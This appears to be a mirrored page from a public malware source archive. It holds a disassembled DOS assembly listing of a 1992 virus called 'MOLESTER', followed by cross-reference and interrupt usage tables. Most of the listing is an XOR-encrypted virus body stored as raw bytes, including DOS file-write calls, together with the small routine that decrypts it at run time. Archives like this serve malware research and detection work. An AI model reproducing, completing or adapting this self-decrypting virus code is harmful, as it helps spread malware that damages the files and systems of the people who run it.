mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
197 lines
5.3 KiB
NASM
197 lines
5.3 KiB
NASM
|
|
||
|
PAGE 59,132
|
||
|
|
||
|
;==========================================================================
|
||
|
;== ==
|
||
|
;== MOLESTER ==
|
||
|
;== ==
|
||
|
;== Created: 18-Apr-92 ==
|
||
|
;== Passes: 5 Analysis Options on: QRSU ==
|
||
|
;== ==
|
||
|
;==========================================================================
|
||
|
|
||
|
|
||
|
seg_a segment byte public
|
||
|
assume cs:seg_a, ds:seg_a
|
||
|
|
||
|
|
||
|
org 100h
|
||
|
|
||
|
MOLESTER proc far
|
||
|
|
||
|
start:
|
||
|
jmp real_start ; (0106)
|
||
|
;* No entry point to code
|
||
|
int 10h ; Video display ah=functn 00h
|
||
|
; set display mode in al
|
||
|
retn
|
||
|
|
||
|
;==========================================================================
|
||
|
;
|
||
|
; External Entry Point
|
||
|
;
|
||
|
;==========================================================================
|
||
|
|
||
|
real_start: ; xref 580C:0100
|
||
|
;* jmp short loc_1 ;*(010C)
|
||
|
db 0EBh, 04h
|
||
|
;* No entry point to code
|
||
|
nop
|
||
|
dec si
|
||
|
pop ss
|
||
|
add bh,[bp+di+101h]
|
||
|
mov ah,[bx]
|
||
|
mov bx,102h ; (580C:0102=0)
|
||
|
mov al,[bx]
|
||
|
xchg al,ah
|
||
|
add ax,3
|
||
|
mov si,ax
|
||
|
mov cl,byte ptr ds:[103h][si] ; (580C:0103=0CDh)
|
||
|
call sub_1 ; (0308)
|
||
|
cmpsw ; Cmp [si] to es:[di]
|
||
|
into ; Int 4 on overflow
|
||
|
dec si
|
||
|
db 64h, 60h, 0Dh, 01h, 03h, 4Eh
|
||
|
db 6Eh, 3Bh,0F2h,0DCh
|
||
|
db 'VHNNNteten'
|
||
|
|
||
|
db 1Ah
|
||
|
db '&+n', 0Ah, '/:/n'
|
||
|
db 3
|
||
|
db '!"+=:+<n'
|
||
|
db 18h, 27h, 3Ch, 3Bh, 3D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7h, 4Dh, 4Eh,0C3h,0CAh
|
||
|
db 59h, 4Dh,0C5h,0BEh,0F1h, 4Eh
|
||
|
db 4Fh,0BDh,0EAh,0FAh, 64h, 83h
|
||
|
db 6Fh,0CEh,0B0h, 4Bh, 3Bh, 46h
|
||
|
db 0CEh,0B4h, 42h, 3Bh, 4Dh,0A5h
|
||
|
db 45h,0DEh,0CEh,0B0h, 4Ch, 3Bh
|
||
|
db 5Bh,0CEh,0B4h, 57h, 3Bh, 5Eh
|
||
|
db 0FEh, 4Ch,0F7h,0BAh, 4Fh,0F4h
|
||
|
db 4Eh, 4Eh, 83h, 68h,0B0h, 8Eh
|
||
|
db 72h, 4Ah, 3Bh,0BCh,0A6h, 4Ch
|
||
|
db 4Eh, 83h, 6Eh,0F1h, 4Eh, 4Fh
|
||
|
db 0B1h,0A9h,0FEh, 4Ch, 7Dh, 9Ch
|
||
|
db 7Dh, 87h,0FAh, 0Ch, 83h, 6Fh
|
||
|
db 8Dh,0B4h, 2Ch,0CDh, 21h, 86h
|
||
|
db 0D1h, 32h,0EDh, 51h,0E8h, 19h
|
||
|
db 00h, 59h, 88h, 8Ch, 03h, 01h
|
||
|
db 51h, 8Bh,0DFh,0B4h, 40h, 8Dh
|
||
|
db 94h, 00h, 01h, 8Bh, 8Ch, 04h
|
||
|
db 01h,0CDh, 21h, 59h,0E8h, 01h
|
||
|
db 00h,0C3h
|
||
|
|
||
|
MOLESTER endp
|
||
|
|
||
|
;==========================================================================
|
||
|
; SUBROUTINE
|
||
|
;
|
||
|
; Called from: 580C:0121
|
||
|
;==========================================================================
|
||
|
|
||
|
sub_1 proc near
|
||
|
lea bx,ds:[11Eh][si] ; (580C:011E=8Ch) Load effective addr
|
||
|
lea dx,cs:[2DDh][si] ; Load effective addr
|
||
|
loc_4: ; xref 580C:0317
|
||
|
cmp bx,dx
|
||
|
je loc_ret_5 ; Jump if equal
|
||
|
xor [bx],cl
|
||
|
inc bx
|
||
|
jmp short loc_4 ; (0310)
|
||
|
|
||
|
|
||
|
loc_ret_5: ; xref 580C:0312
|
||
|
retn
|
||
|
sub_1 endp
|
||
|
|
||
|
db 42h, 2Eh, 42h,0B8h, 07h, 0Eh
|
||
|
|
||
|
seg_a ends
|
||
|
|
||
|
|
||
|
|
||
|
end start
|
||
|
|
||
|
|
||
|
____________________ CROSS REFERENCE - KEY ENTRY POINTS ___________________
|
||
|
|
||
|
seg:off type label
|
||
|
---- ---- ---- --------------------------------
|
||
|
580C:0100 far start
|
||
|
580C:0106 extn real_start
|
||
|
|
||
|
__________________ Interrupt Usage Synopsis __________________
|
||
|
|
||
|
Interrupt 10h : Video display ah=functn xxh
|
||
|
Interrupt 10h : ah=00h set display mode in al
|
||
|
|
||
|
__________________ I/O Port Usage Synopsis __________________
|
||
|
|
||
|
No I/O ports used.
|
||
|
|